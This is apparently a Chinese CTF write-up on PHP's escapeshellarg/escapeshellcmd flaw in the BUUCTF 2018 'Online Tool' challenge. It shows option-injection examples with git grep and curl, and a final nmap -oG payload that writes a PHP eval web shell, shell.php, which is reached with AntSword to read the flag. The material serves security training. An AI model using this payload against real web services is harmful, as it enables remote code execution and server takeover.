命令用法
escapeshellcmd
简单来说就是将上述字符转义
escapeshellarg
简单来说就是将用户输入的字符串包裹上单引号,如果已经有单引号则进行转义
漏洞成因
当escapehshellarg将用户输入的字符串包裹上单引号后直接拼接到命令的参数选项位置,而不是参数值位置,比如
1 | git grep -i --line-number '--open-files-in-pager=id;' master |
当这样会导致可以由用户自己加命令选项而不是按照escapeshellarg函数者的本意执行命令
另一个例子:
- 传入的参数是:
172.17.0.2' -v -d a=1
- 经过
escapeshellarg
处理后变成了'172.17.0.2'\'' -v -d a=1'
,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 - 经过
escapeshellcmd
处理后变成'172.17.0.2'\\'' -v -d a=1\'
,这是因为escapeshellcmd
对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php - 最后执行的命令是
curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的'
配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\
发起请求,POST 数据为a=1'
。
[BUUCTF 2018]Online Tool
1 |
|
看起来像朱雀组的nmap但是这里使用了上述提到的escapeshellarg
,escapeshellcmd
函数进行过滤
问题是最后还是将用户的输入拼接到了参数选项上面而不是安全的参数值,这就形成了漏洞
看本地测试:
1 | ' <?php eval($_POST[1]);?> ' |
分别对应
1 | ''\\''\<\?php eval\(\)\;\?\> -oG shell.php '\\''' |
第三个和第二个payload将'
和\\
接到shell.php后面不可取
因此将' <?php eval($_POST[1]);?> '
选为我们的payload
之所以将-oG
选为我们输出的格式,看下面
-oG
(Grep输出) 这种方式最后介绍,因为不建议使用。XML输格式很强大,便于有经验 的用户使用。XML是一种标准,由许多解析器构成,而Grep输届更简化。XML 是可扩展的,以支持新发布的Nmap特点。使用Grep输出的目的是忽略这些 特点,因为没有足够的空间。
然面,Grep输出仍然很常使用。它是一种简单格式,每行一个主机,可以 通过UNIX工具(如grep、awk、cut、sed、diff)和Perl方便地查找和分解。常可 用于在命令行上进行一次性测式。查找ssh端口打开或运行Sloaris的主机,只需 要一个简单的grep主机说明,使用通道并通过awk或cut命令打印所需的域。
Grep输出可以包含注释(每行由#号开始)。每行由6个标记的域组成,由制表符及 冒号分隔。这些域有主机,端口, 协议,忽略状态, 操作系统,序列号, IPID和状态。
- 而
-oN
将错误信息也输出到指定文件里面可能会有错误,因此选用-oG
比较简洁而且没有错误信息
因此最终payload为
1 | ' <?php eval($_POST[1]);?> -oG shell.php ' |
写入了shell,蚁剑连上去之后就可以在/flag
看到flag
参考链接
https://www.anquanke.com/post/id/107336#h3-7
https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html
https://paper.seebug.org/164/